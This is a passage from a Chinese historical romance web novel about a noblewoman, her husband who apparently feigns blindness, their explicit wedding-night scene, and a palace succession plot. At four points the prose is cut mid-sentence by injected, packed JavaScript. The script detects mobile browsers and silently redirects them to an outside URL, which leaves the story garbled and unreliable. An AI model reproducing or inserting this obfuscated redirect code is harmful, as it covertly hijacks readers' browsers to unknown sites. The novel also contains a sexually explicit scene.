“那边有一盏很好看的走马灯！”姜知瑶有些兴奋地和晏枕溪说，“上面的画面是西游记。” “要买吗？”晏枕溪问道，他出门时特意带上了许多银两。 “不用啦。”姜知瑶说，“带不下，我想挑一盏最好看的花灯回府。” “你有什么喜欢的花灯吗？”姜知瑶问道，“我帮你挑。” 晏枕溪想了想，笑道：“我没有什么特别喜欢的，阿瑶可以挑两盏喜欢的花灯带回府。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136555|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我要再挑两盏非常非常好看的花灯。” “好，我帮阿瑶拿一盏。” “对了！”想到什么后姜知瑶转头笑着对晏枕溪说，“我们先去河边放花灯吧。” “好。”晏枕溪自然不会拒绝。 在小摊上挑了两盏喜欢的河灯后，他们往河边走去。 河边的人很多，姜知瑶牵着晏枕溪的手出了一些薄汗，但两个人都没有在意这个。 姜知瑶沿着河边走了一会，见人还是很多，对晏枕溪说道：“我知道有个地方人少。” 接着她带着晏枕溪绕过了一个小巷子，来到了一个稍显隐蔽的地方，但还是能很清楚地看到河面。 河面上现在有许多花灯正顺着水流漂浮着，点点灯光，在夜里显得格外好看。 “到了，我们现在可以放花灯了。” 姜知瑶和晏枕溪是一样的莲花河灯，姜知瑶点完自己的花灯后，抓住晏枕溪的手，点燃了另一盏花灯。 将花灯放入河中后，姜知瑶双手合十闭眼许愿。 希望大家都平安顺遂，皆得所愿。 许好愿后，姜知瑶睁开眼，见晏枕溪面朝自己没有什么动作，有些好奇地问：“你不许愿吗？” 晏枕溪顿了顿回道：“我现在许愿。” 他学着姜知瑶的样子，双手合十，闭上眼睛。 视线消失，脑海里出现的是刚刚姜知瑶许愿时的场景。 姜知瑶一脸认真，双眼紧闭，身旁河面上飘荡着的花灯明明灭灭，像是天上的星河落入凡间，成为眼前人的陪衬，万千美景不及眼前。 晏枕溪之前从来都没有许过愿，即使在佛前叩拜的时候，心里也未曾祈祷过什么。 但此刻他无比认真，在心里念着自己的愿望——惟愿姜知瑶岁岁无虞，平安喜乐。 放过河灯后，姜知瑶和晏枕溪继续逛着灯会，灯会上有许多游戏，猜灯谜、投壶、套圈、画像等等，姜知瑶基本上每个都玩了。 回到府上后，姜知瑶实在太困，强撑着精神换完衣服洗漱完，一沾到枕头上面就睡意沉沉。 看着姜知瑶迷迷糊糊的样子，晏枕溪蹲在了床边，轻轻捏了捏她的脸颊肉。 “唔。”姜知瑶把手从被窝里拿了出来挠了下脸，嘟囔道，“别动我……” 晏枕溪看着她一副被打扰的样子，浅笑了一下，唤她：“阿瑶。” “嗯？”姜知瑶像是从鼻腔里发出声音，含糊地应道。 “阿瑶。”晏枕溪又唤道。 “嗯？” “阿瑶。” “嗯？”姜知瑶这次语气里带着些许不耐烦。 晏枕溪又笑了起来，用哄骗似的语气问道：“阿瑶喜欢谁？” “不能说。”姜知瑶微皱起了脸。 “告诉我好不好，我不会和其他说的，不会有其他人知道的。”晏枕溪放轻声音又问道，“阿瑶最喜欢谁？” 许是这道声音太过熟悉，晏枕溪等了几秒后，听见了姜知瑶的回应：“……晏枕溪，阿瑶最喜欢晏枕溪。” 晏枕溪低低笑了起来，笑的连胸膛都在震颤。 “阿瑶再说一遍。”语气里是满是止不住的愉悦。 “最喜欢晏枕溪……”声音越来越小，姜知瑶彻底睡着了。 晏枕溪没有再烦姜知瑶，只是蹲在床头用目光临摹了姜知瑶的眉眼一遍又一遍。 嘴角噙着久久未消失的笑意，眼底的喜爱像是要溢出来。 34. 话本 中秋节过后，姜知瑶发现晏枕溪开始变得忙碌起来，在府上的时间越来越少。 不光如此，整个京城也变得更加风声鹤唳，一种紧张的情绪在城里蔓延，问过晏枕溪后，才知道原来是当今圣上病重了。 “最近委屈下阿瑶，要尽量少出府了。”告诉完姜知瑶一些事情后，晏枕溪说道。 “好。”姜知瑶不是分不清轻重的人，不过少出门一段时间，也没有什么损失。 她有些担忧地看着晏枕溪，张嘴想说些什么，但最后还是没说出口，只是正常地叮嘱道：“你在外面的时候也要多加小心。” “放心。”晏枕溪对姜知瑶安抚地笑了一下，“今晚可能要晚些回来，阿瑶不必等我，先睡吧。” 看着晏枕溪离开的背影，姜知瑶慢慢攥紧了手中的帕子。 其实当时大家都在叹息晏枕溪因为双目失明，怕是从此与仕途无缘的时候，姜知瑶心里一直有种隐隐的不真实感。 在她心目中，晏枕溪一直像是高悬在天空上的月亮，无论他获得什么样的赞赏和成就，都给人一种理所当然的感觉。 从晏枕溪要参加科举的消息一传出来的时候，京城里还有许多人下注，猜测这个一向在京城享有盛名的贵公子最后会有什么名次的时候，出现在姜知瑶心里的就只有两个字——状元。 好像只有这个词才配得上他，最后放榜的消息一出来，众人纷纷惊诧的时候，姜知瑶却丝毫不惊讶，只有种本该如此的感觉。 在晏枕溪成为状元，被任命为七品官职后，旁人又猜测要多久才能晋升，有人说最快也要三年，而且能不能晋升成五品都不好说，但姜知瑶知道，肯定要不了多久，果然，没到两年，晏枕溪便晋升为了当朝最年轻的正四品官。 在她的心目中，晏枕溪那样的贵公子，不管出了什么事情，都是不可能一直黯淡无光的，哪怕是双目失明，也不过是暂时的低谷，用来韬光养晦。 若是让旁人知晓了姜知瑶想法，怕是会笑话她的天真，但对于晏枕溪，姜知瑶就是有种莫名的自信。 月亮永远不会从天幕上掉下来，暂时不见不过是被云层遮挡住了而已。 所以姜知瑶从来没有问过晏枕溪时常的出府是为了什么，明明圣上怜惜晏枕溪，只保留了他的官职，并没有什么需要出府办理甚至要忙碌到深夜的事情。 对于最近的晏枕溪的忙碌，再加上她知道的事情，姜知瑶有种隐隐的直觉。 罢了，姜知瑶摇了摇头，压下心底的些许忧虑和猜想。 至于眼睛，姜知瑶倒是从来没有想过晏枕溪会是装的，若是随便在路上拉一个人，说晏枕溪的眼睛没瞎，是他装的，被拉住的人也只会觉得遇到疯子了，毕竟谁会放弃大好的仕途去装瞎。 夜晚，月朗星稀。 晏枕溪放缓脚步，轻轻推开了房门，沾染了些许血迹的外衫被他留在了马车上。 房间里还留着一盏暖黄色的烛灯，旁边还留着一盘小食。 晏枕溪弯起眼角，从盘中拿起一个糕点吃了起来，笑意和灯光将他的眉眼显得格外柔和。 沐浴过后，晏枕溪放轻脚步来到了床边，看着姜知瑶恬静的睡颜，晏枕溪只觉得一天的疲惫终于能离他远去。 他轻轻拨开姜知瑶脸上的发丝，落下一个吻在姜知瑶的脸颊上，然后轻手轻脚地躺在了床上。 最后搂住姜知瑶，沉沉睡去。 在他睡着后，怀中的姜知瑶睁开了眼，盯着晏枕溪看了一会后，又把头埋进了他的胸膛处，抱住晏枕溪的手微微收紧。 - “今天你不用出府吗？”姜知瑶看着用过早膳后跟着自己来到书房的晏枕溪有些惊讶地问道。 “不用。”晏枕溪笑道，“昨天忙了许久，今日可以用来好好陪阿瑶了。” “阿瑶不好奇我在忙什么吗？”晏枕溪接着温声问道。 “好奇。”姜知瑶点了点头。 听见姜知瑶不加犹豫的回答，晏枕溪笑了一下：“在忙有关皇位的事情。” 姜知瑶瞪大了眼睛，她有想过晏枕溪现在是想告诉她一些事情，但她没想到晏枕溪就这样赤裸裸地说出了。 晏枕溪笑着上前亲了亲姜知瑶的脸颊，然后继续说道：“不用担心，现在已经快结束了。” “阿瑶再等一会就好了。”晏枕溪抱着姜知瑶慢慢说着，“我是三皇子这边的，已经谋划许久了，接下来几天不管听到什么消息都不用当真。” “尤其是从皇宫那边传来的消息，在一切尘埃落定前，阿瑶都不要相信。” “我知阿瑶聪颖，之前没说是怕你忧心，如今已经到尾声了，我们这边早已有万全之策，阿瑶不要担心，相信你的夫君。” 说道这里晏枕溪自夸了起来：“你夫君之前可是享誉京城的人呢，算无遗策，不会有意外的。” 姜知瑶有些愣地看着他，从他脸上看到了许久未见的意气风发和胜券在握。 “所以不管听到什么消息，都不用担心。”晏枕溪又叮嘱了一遍。 “若是。”晏枕溪顿了一下，“若是真的有什么意……”外，我也早已安排了人会护你周全。 他还未说完，便被姜知瑶用手紧紧捂住了嘴。 姜知瑶有些紧张地开口：“后面的话就不用说了，不会有意外的。” 反应过来后姜知瑶连忙把手放了下来，解释道：“我看话本上每次要去做什么大事前的人这样说就会出意外……” 晏枕溪轻笑了起来：“好，我不说，阿瑶放心。” “今日阿瑶有什么想做的吗？”晏枕溪抵上姜知瑶的额头问道，“过几天我可能晚上也不会回府了。” 姜知瑶想了想：“只想和你待在一起，这样就很好了。” 晏枕溪愣了一下，反应过来后情不自禁地亲了亲姜知瑶：“阿瑶怎么这么会说话，今天一天我都不走。” 姜知瑶窝在晏枕溪怀里，和往常一样看着书，有些看入了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148741|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷。 “阿瑶在看什么？”晏枕溪笑着问道。 “啊。”姜知瑶连忙把书合上，然后想起什么又故作镇定地打开书，小声说道，“就是你书房里普通的书籍。” 其实不是，姜知瑶今天看的是前段时间买的话本，想着晏枕溪看不见，窝在他的怀里又实在舒服，就索性这样看了起来。 晏枕溪说话的时候，姜知瑶刚好看到重要的情节，冷不丁听到声音，心都多跳了一下。 “噢，我书房里的啊。”晏枕溪没有再说话，见姜知瑶被打断有些恼的表情，嘴角微微上扬，接着视线一直落在她手中翻开的书上。 这话本写得还挺新颖。 晏枕溪这个视角刚好能将话本上的内容看得一清二楚。 话本里讲的是一个男狐狸精和高门贵女的故事。 贵女在一次外出游玩的时候，看到了一只受伤的小狐狸，一时心软，便抱回府上救治收养。 贵女很喜欢这只小狐狸，觉得它不仅长得好看毛发柔顺，而且还乖巧听话，贵女甚至喜爱到连晚上就寝时都要抱着小狐狸。 但她不知道，那只狐狸早已成精，当时不过是一时不察，被其他的妖精所伤，并且狐狸在日复一日的相处上渐渐喜欢上了自己。 一开始，他时常入贵女的梦中，贵女每每醒来都很懊恼，不明白自己怎么会做那样的梦，最关键的是，梦的对象竟然是自己的养的小狐狸。 尽管梦中的小狐狸化形后是自己喜欢的那种样貌的男子，但贵女还是觉得变扭。 后面每每与小狐狸相处时就觉得不自在，所以贵女慢慢开始躲起来了小狐狸，狐狸不懂，以为是自己做得不够好，于是更加频繁地入贵女的梦中。 结果便是越发受到冷落，狐狸不懂，难过却又无可奈何，只能在梦中对贵女愈发过分。 贵女也很纠结，慢慢的她竟然喜欢上了那个梦中的小狐狸。 一次意外，狐狸为救贵女在她面前化了形，在震惊过后，贵女接受了这个事实，将他继续养在府中。 话本前面写得还很模糊暧昧，但后面越来越露骨。 姜知瑶看得脸红扑扑的，呼吸也不觉放缓，最后看到实在露骨的那部分，忍不住“啪”的一声合上了话本，想要缓缓。 她也没想到这个话本后面是这样的，但是，但是，姜知瑶脸红着想，不愧是最抢手的话本啊。 身后的晏枕溪突然动了动，整理了一下衣摆，姜知瑶像是被吓到了，立即从他的怀里跳了下来。 刚刚看得太入迷了，竟一时忘了晏枕溪就在身后，虽然知道晏枕溪看不见，但姜知瑶还是不禁觉得不好意思了起来，刚刚居然在他面前看这个…… 姜知瑶有些结巴地开口：“那个，我出去看看，午膳没有没备好。” 说完就略显急切地离开了书房。 但许是因为紧张，话本没有带走，还留着桌上，晏枕溪看着封面笑了起来，脸上露出若有所思的神情。 35. 圆房 “阿瑶，我来帮你擦擦头发吧？”已经坐在床上的晏枕溪对姜知瑶说道。 “我没洗头啊？”姜知瑶疑惑地看去，才发觉自己的发尾在沐浴的时候被打湿了，现在正滴水滴在他的身上。 姜知瑶连忙想从晏枕溪的身边离开，但她刚起身一点，就被晏枕溪勾住了腰身往回拉：“没事的，我帮阿瑶擦下就好了。” 说完后随手拿起一旁的巾帕，轻轻裹住姜知瑶的发尾，细细擦了起来。 姜知瑶坐在床边上，觉得有些舒服，发尾这样被人轻轻擦着。 “好了。”晏枕溪把手中的巾帕放在一旁，很是自然地从背后环住姜知瑶，“阿瑶，现在来睡觉吗？” 晏枕溪的头也顺势靠在姜知瑶的肩膀上，感受到他的气息打在脖颈处，姜知瑶不禁觉得有些痒，轻缩了下脖子：“好。” “我去熄灯。”说完姜知瑶想站起来，但晏枕溪的手没有松开。 姜知瑶推了两下发现还是纹丝不动，疑惑地扭头问道：“怎么……” 话音未落，姜知瑶被晏枕溪抱起面对面坐着，姜知瑶整个人都坐在了他的大腿上，双腿放在了他的腰间。 还未等姜知瑶说什么，晏枕溪便吻上了她的唇。 是一个很缠绵的吻，晏枕溪一下下地含住姜知瑶的唇珠，有时用齿贝轻轻磨着，等姜知瑶忍不住唇瓣微微张开的时候又趁虚而入。 勾住姜知瑶的舌不肯分开一点，哪怕是在喘气的时候，晏枕溪都不愿分开，只是将舌退出去，唇瓣还贴着，上面还挂着些许晶莹。 两个人共享一片空气。 姜知瑶有些恼，晏枕溪不肯完全分开，唇瓣微微相贴，随着呼吸的起伏摩挲着，更觉痒意。 但他也没有下一步的动作，姜知瑶被勾起，只觉痒意愈发难耐，抿了抿唇，向他靠了过去。 晏枕溪一直没有回应，完完全全贴上去后，姜知瑶却觉得痒意不仅没有半分消退，反而愈演愈烈，还蔓延到了其他地方。 在他唇瓣上研磨了几下后，姜知瑶想要撬开他的齿关，刚一碰到就很顺利地进去了。 找到了，姜知瑶略显笨拙的，学着他之前的样子，轻轻游荡缠绵着。 晏枕溪并不是很主动，只是偶尔在姜知瑶停下来的时候凑过来，轻蹭下她的舌尖，然后又离开。 双手不自觉地勾住晏枕溪的脖颈，把他往自己拉近，晏枕溪顺从地低头，被她吻得更深。 晏枕溪的喉结滚动，脖间有隐隐的青筋浮现，像是主人正在极力克制自己。 没过一会，姜知瑶觉得有些累了，刚想从他唇间离开歇会，但迎来的是晏枕溪狂风骤雨般的攻势。 原本就朦胧的眼里闪出更多的泪花，不知又过了多久，晏枕溪终于松开她。 晏枕溪轻喘着抵在她额头上，用唇碰了碰她，笑道：“阿瑶，舌头可以收回去了。” 过了一会姜知瑶才反应过来，没有说话，低头埋在他颈间狠狠咬了一口，发间露出的耳尖像是红得能滴出血一样。 “坏阿瑶。”晏枕溪轻嘶了一声。 “坏枕溪。”姜知瑶埋在他颈间闷声说道。 像是还觉得不够又小声加了一句：“非常坏。” 晏枕溪低笑了起来，亲了亲她的耳朵，姜知瑶被痒到，从他颈间离开，坐直了起来。 当刚一坐直，便发觉了他腿间的异样。 姜知瑶的脸瞬间红了起来：“……你。” 晏枕溪看起来不仅没有被发现的不好意思，反而将姜知瑶往下压了一点：“好阿瑶，可以吗？” 问完后没有再说什么，静静地等着姜知瑶的回复。 “……可以。”说完后，姜知瑶又红着脸将头埋进了晏枕溪的颈间。 她其实也想。 晏枕溪又笑了起来，连胸膛都在震颤：“阿瑶帮我脱。” 烛光摇曳，看着眼前的场景，姜知瑶觉得有些口渴。 一寸寸慢慢剥开，像是在一点点探索未知，是诱惑也是陷阱。 等完全褪下后，晏枕溪抱住姜知瑶，从眉间开始往下啄吻，像是不想放过每一寸。 姜知瑶是用手帮他褪去，晏枕溪则是用唇。 “唔。”姜知瑶从唇间溢出声音。 像是被鼓舞，晏枕溪更加仔细认真地含吻了起来，手也没有闲着。 过了许久，晏枕溪才终于放过那颤颤巍巍的朱果。 吻过小腹后继续往下。 “不、不行！”察觉到晏枕溪的意图，姜知瑶连忙捂住那里，身体微微蜷缩，染上好看的潮红。 晏枕溪停住没有动作，姜知瑶却有种他的视线一直落在自己身上的错觉。 他喉结滚动，轻笑了一声，没有说什么，越过那处，吻了吻姜知瑶的小腿肚。 姜知瑶泪眼朦胧的看着眼前的场景，她原本是想熄灯的，但鬼使神差的，看着晏枕溪那染上欲色的样子，姜知瑶打消了这个念头。 “乖阿瑶。”晏枕溪上前吻了吻姜知瑶的脸颊，“手拿开好不好，相信我，阿瑶会很舒服的。” “阿瑶不用害羞，我什么都看不见的。”晏枕溪继续哄骗道。 不知是被他哄住还是内心那一点的躁动和欲望，姜知瑶红着脸慢慢松开了手，没有说话，扭过头，不敢看晏枕溪。 晏枕溪俯下身去，碰到的那一瞬间，姜知瑶浑身颤栗了一下，温热过后，有滑腻灵活的东西钻进。 太、太犯规了，姜知瑶有些羞愤地想。 白光闪过，姜知瑶的眼角滑下一滴无意识的泪水，长长的睫毛被泪水打湿，她迟钝地眨了几下眼睛，视野变得清晰了一点。 晏枕溪已经离开了那里，姜知瑶看到了他的眼纱有些湿了，晏枕溪想凑上前亲姜知瑶，但被姜知瑶躲开了，唇擦过了脸颊。 晏枕溪笑了起来，解下眼纱，用它稍稍擦了一下脸：“阿瑶怎么能嫌弃我呢，明明很甜的。” 话语听上去还有几分委屈。 姜知瑶犹豫着转头回去：“没有嫌弃你……” 话音未落，下一秒被晏枕溪深深吻住。 两人分开后，晏枕溪用唇轻轻蹭了下姜知瑶：“甜吗？” 知道自己等不到回复，晏枕溪沉身在姜知瑶耳畔说：“我要开始了，阿瑶。” 感觉太过明显猛烈，姜知瑶眼里瞬间出现泪花：“慢点。” 晏枕溪停了下来，哑声哄她：“乖阿瑶……” 他的额头上有薄汗浮现。 “好、好了。”像是在等姜知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166333|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑶发号施令一样，姜知瑶刚一说完，晏枕溪就动作起来。 完全契合后，晏枕溪没忍住闷哼了一声，低声轻笑：“阿瑶好厉害。” 姜知瑶没有说话，混沌脑海里唯一的清明在疑心刚刚有没有把他的后背挠出血。 啄吻安抚过几下后，晏枕溪缓缓动了起来，酥酥麻麻的感觉不断涌现，姜知瑶咬住下唇，尽量不让自己发出太过暧昧的声音。 晏枕溪抱住姜知瑶，边亲吻了起来：“阿瑶乖，松开唇，别把自己咬疼了。” “出声好不好，阿瑶的声音最好听了。” 说完后，他自己那好听的低喘声没有任何压抑和掩饰的在姜知瑶耳边响起，还有那隐隐约约的水声。 “乖阿瑶，怎么这么乖啊……” 姜知瑶听得恍惚，觉得自己好像是那在寺庙中避雨的书生，被那由妖精假扮的看似圣洁遥远的佛像所迷惑，拽上莲台，做那等荒唐无度之事。 那妖精还不断在耳边哄骗：“阿瑶。”“瑶瑶。”“阿瑶好乖。”“好可爱。”“阿瑶……叫下我的名字好吗。” 她之前从未感受过的浪潮不断袭来，彻底冲散了那仅存的几分意识。 飘飘然入云端。 天蒙蒙亮，姜知瑶方才从那浪潮中脱身，但余韵还在，她连一根手指都不愿意再动。 感受到被人抱起放入温热的水中后，姜知瑶彻底睡去。 第二天，直至下午姜知瑶才醒来。 “阿瑶。”晏枕溪正坐在床头，看样子也是刚起，上衣还未穿上，看着他背后的痕迹，原本有些迷迷糊糊的姜知瑶清醒过来。 很累，身体没有什么特别明显的不适，但下面凉凉的，像是被人敷过药膏一样。 姜知瑶脸上出现红晕，虽然知道晏枕溪看不见，但她心里还是觉得有些羞涩。 见她醒了，晏枕溪穿好衣服温声说道：“抱歉阿瑶。” 转过去抱着姜知瑶亲了亲：“本来今天也是要待在府上陪你的，但突然有事，现在就要出府了。” “我这几天都不会回来，阿瑶不用等我，先睡。” “等过了这些天就好了，我让人新买了一些书来，阿瑶无聊的时候可以看看，里面还有些京城里时兴的话本。” “午膳已经热好放在桌上了，还有……” “……还有最重要的，千万千万不要相信从宫中传来的那些消息。” 姜知瑶静静听着，时不时应上几声。 说了许多，晏枕溪还觉不够，想再说些什么，但又不知道还有什么可以说的。 只能用手臂将姜知瑶环抱得更紧，闭上眼仔细闻着姜知瑶身上的馨香。 不想和阿瑶分开。 哪怕是几天都不想。 晏枕溪从来不知道自己会这么喜欢一个人，喜欢到从知道要与她分离的那一刻开始就会感到心焦，哪怕只是短短的几天。 就连筹谋许久，即将摘取果实的喜悦都抵不过这一刻的不愿。 “你也要多加小心，记得按时用膳。”姜知瑶拍了拍晏枕溪的背，轻声叮嘱道。 “好。”晏枕溪闷声应道，“那我走了，阿瑶。” “嗯。”姜知瑶主动亲了亲晏枕溪，“早点回来，在家里等你。” 36. 圣上 皇宫中。 明黄色的龙床上，圣上面色虚弱，每说一个字都要缓一下：“让皇子们都进来。” “是。”太监退下前去殿外，一旁的皇后和妃嫔在皇子们进来前也一齐离开。 皇子们都等候在外面，听到传话后都进入了殿中。 “父皇。”二皇子一进去就急切地喊道，听上去很是焦急心忧。 “喊什么？”圣上起来坐在了床上，看了一眼二皇子，虽然虚弱，但说话语气和气势还是有种不容置疑的威严。 二皇子噤声，没有再说什么。 现在殿中只有二皇子、三皇子、四皇子还有圣上，其余的人都已经离开殿中，原本就宽阔的宫殿在此刻更显加空荡和冷清。 “你们都知道我今天让你们来是为了什么。”圣上看着面前心思各异的皇子们说道，不免有些恍惚。 他之前自认是一个合格的帝王，作为帝王，他深谙权衡之术，但作为一个父亲，他好像不够合格。 他一生只有四个皇子和三个公主。 到头来，临终时，只余下三个孩子来面前。 三个公主一个和亲，两个都早已嫁人。 至于四个皇子。 大皇子被流放，二皇子的心思怕是连宫中的一个小太监都看得出来，三皇子，三皇子是他最不喜的一个孩子。 但很少有人记得，在小时候，三皇子曾是他最宠爱的一个孩子，是宫中之前的梨嫔所生。 他很宠爱那个梨嫔，哪怕不过是一个平民女子，他都封其为嫔，所以在发现梨嫔原来一点都不喜欢，甚至是厌恶自己的时候，他异常愤怒。 那日自己前去寻她，特意没让宫人提醒，想去给她一个惊喜，结果在门外听见了她和侍女的对话。 侍女劝她：“娘娘，真的不去寻下皇上吗？皇上已经有段时间没来了，奴婢听说安嫔娘娘昨日带着糕点前去养心殿，皇上晚上就宿在了她那。” “寻皇上？”她放下手中的杯盏，冷笑了一声，“他就算今晚来了我又能得到什么？我还要在他面前装一晚的小意温柔？” “将我从宫外夺了过来，让我困在这里，要我天天和其他人争来争去，只为他那一点稀薄的宠爱？还认为是对我的恩典。” “真让人恶心。” 作为帝王，他向来不稀罕什么情情爱爱，但那一刻他无比气愤，他也从未被人那样说过。 自己给了她锦衣玉食的生活，她竟然还不满，埋怨自己为何要从宫外把她带进来。 无数人挤破了脑袋也想入皇宫，她倒好，进来后还做着要离开的春秋大梦。 在看见他进来后，梨嫔并没有慌张惶恐，反而异常冷静，愣了一下后，脸上出现的是如释重负的神情，向他行了个礼，但眼神却一直直视他：“陛下圣明，一切都是我一人之言，愿陛下不要责罚其他人。” 虽然是恳求的话语，但却没有半分服软的语气。 圣上气极反笑：“当然，你不是不喜欢皇宫吗，我让你一辈子都离不开。” “即日起将她打入冷宫，不许任何人前去看望。”说完他便拂袖而去。 从此以后，他对三皇子的态度也是直转急下，每次在看到他的时候就会想起那个女子。 所以以至于早早把他派往了边疆。 几年后听到梨嫔在冷宫病逝的消息，也不过微微顿笔。 但许是弥留之际，很多事情比以前要想得更加通透。 在回想起梨嫔的时候，他升起了几分愧疚之心，他们还是有段美好时光的，尤其是最初在宫外，他还在微服私访的时候。 连带着如今看三皇子也觉得有些愧疚，但也仅仅是有几分愧疚而已。 最后是四皇子，这个他最宠爱的皇子。 从四皇子出生开始，他就非常喜欢这个孩子，觉得他最像自己，但长大后，对四皇子更多的是无奈。 自己想把这个江山交付于他，可他根本不喜欢这个位置，整日只想着游山玩水。 但自己一直管控压制着他，逼着他学帝王之术，不让他离京，到现在竟是反而把自己同他拉远了。 不过没关系，等他也坐到这个位置的时候，就会明白自己的良苦用心了。 没有人能拒绝至高无上的权力和地位。 他先让三皇子来到了自己身边，拉住了三皇子的手，看着三皇子脸上受宠若惊的神情心里满意：“以后，你要好好地辅佐你四弟啊，要守好边疆啊，之前的种种只是为了磨炼你，我最看重的就是你了。” 其实他怀疑过三皇子，到底有没有对自己这个位置有所觊觎，但对于三皇子回京后的这段时间的表现，他很满意。 回京后他一直掌握着三皇子的一举一动，见他一点都没有结党营私的举动，现在也是彻底放下心来。 三皇子诚惶诚恐地应下：“当然，父皇。” 对着面目有些扭曲的二皇子，他则有些冷漠地说：“等你四弟登基后，你选个封地。” 有大皇子这个前车之鉴，他并不觉得二皇子会做出什么意外举动。 就算有，也不足为惧，他不可能什么都没给四皇子留下，只要四皇子不想，二皇子不可能威胁到这个他最宠爱的皇子。 最后，他看向四皇子，语气放缓柔和道：“朕把最好的都留给你了，你要好好当一个皇帝啊。” 一切都说完后，他闭上了眼：“你们都走吧。” “是，父皇。”三个皇子齐齐应下，离开了宫殿。 - 三皇子坐上离宫的马车，晏枕溪早已等候在车内，三皇子将刚刚殿中发生的一切都说了出来。 “他果然是准备让四弟登基。”三皇子沉声说道，现在完全看不出半分刚刚在圣上面前的小心翼翼。 “无妨。”晏枕溪淡声说道，“一切按计划进行。” “那现在，就等着看我的好二哥准备怎么办了。”三皇子略带嘲讽地说道。 不知是不是坐那个位置坐久了，圣上已经忘记了这个位置对于其他人的吸引力，又或是他对于自己的掌控太过自信。 妄想用一个封地就将二皇子打发，就算有大皇子前车之鉴又怎样？ 以二皇子的性格，哪怕有万分之一的可能，他都不会轻易放弃登上那个位置的。 而对于三皇子来说，他现在需要做的就是静观其变，坐等渔翁之利。 - 夜晚，晏府。 姜知瑶躺在床上辗转反侧，这还是她这段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184629|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间来第一次独自一人入睡。 许是云层太厚，她今天在床边的那个小窗户里看不见月亮。 姜知瑶闭上了眼，尽量不让自己胡思乱想，好快点睡着。 但挣扎许久，还是迟迟未能有一丝睡意，总觉得好像缺少了一些什么。 是缺少了她熟悉的怀抱，还是那熟悉的气息，姜知瑶不知道。 姜知瑶睁开了眼，望着床幔发呆，良久，她慢慢从床的内侧挪到了另一边。 被熟悉的气息包围后，姜知瑶觉得入秋后的夜晚有些凉了，裹紧了被子。 终于，她浅浅睡去。 另一边。 一处陌生的书房里，晏枕溪看着手中刚得到的一封密信，皱眉看完后，将其放置一旁的烛火上。 火光明明灭灭，映照着晏枕溪的脸庞，若是姜知瑶看到现在的晏枕溪，怕是会觉得有些陌生。 向来温和的人现在看上去是让人无法忽略的锋芒毕露，原本系在面上的眼纱也已经不见，露出清明的眼眸，眼底有势在必得的野心，旁边的烛光和燃烧着的纸张，给他那精致的面容增添了几分难以言喻的危险，让人不敢直视。 但下一秒，他整个人变得柔和下来，晏枕溪拿起一旁的香囊。 这是之前姜知瑶在中秋后绣的，里面是被晒干的桂花，看着香囊上绣着的憨态可掬的兔子，晏枕溪不禁嘴角上扬。 当时姜知瑶正在刺绣，询问晏枕溪喜欢什么样的图案。 晏枕溪想了想回她：“兔子。” “嗯？”姜知瑶有些疑惑，她还以为会得到什么梅兰竹菊之类的回答。 “要可爱一点的。”晏枕溪一本正经地继续说道。 “好。”姜知瑶没有多想，按他说的绣了起来。 姜知瑶以为晏枕溪平时不怎么会佩戴这个香囊，只是一时兴起想要个兔子的图案而已，所以也没有太过讲究，绣了一只正在吃东西十分可爱的小兔子，莫名的，在绣的时候，她将兔子吃的草换成了竹叶。 兔子吃竹叶，其实也没有很奇怪吧，姜知瑶心里这样想着，反正也看不太出来。 但她没有想到，晏枕溪就将这个她随手做的，不那么正经的香囊佩戴在了身上，而且是最显眼的位置。 想着今天一些官员和手下看到香囊时微微惊讶的神情，晏枕溪有种说不出来的愉悦。 他们惊讶于晏枕溪这不符合他平时行为的那一点反常，而对于此，晏枕溪却有些得意，这是阿瑶绣的，是他夫人绣给他的，只属于他一个人的小兔子。 只要是单独出去，会有段时间看不见姜知瑶，晏枕溪都要在身上留下一点有关她的痕迹，并乐此不疲。 最开始是发簪，有次是被稍稍戴歪的发冠，这次是香囊。 晏枕溪笑了起来，若是让她知道，怕是会红着脸打自己一下，然后再让自己摘下这个香囊。 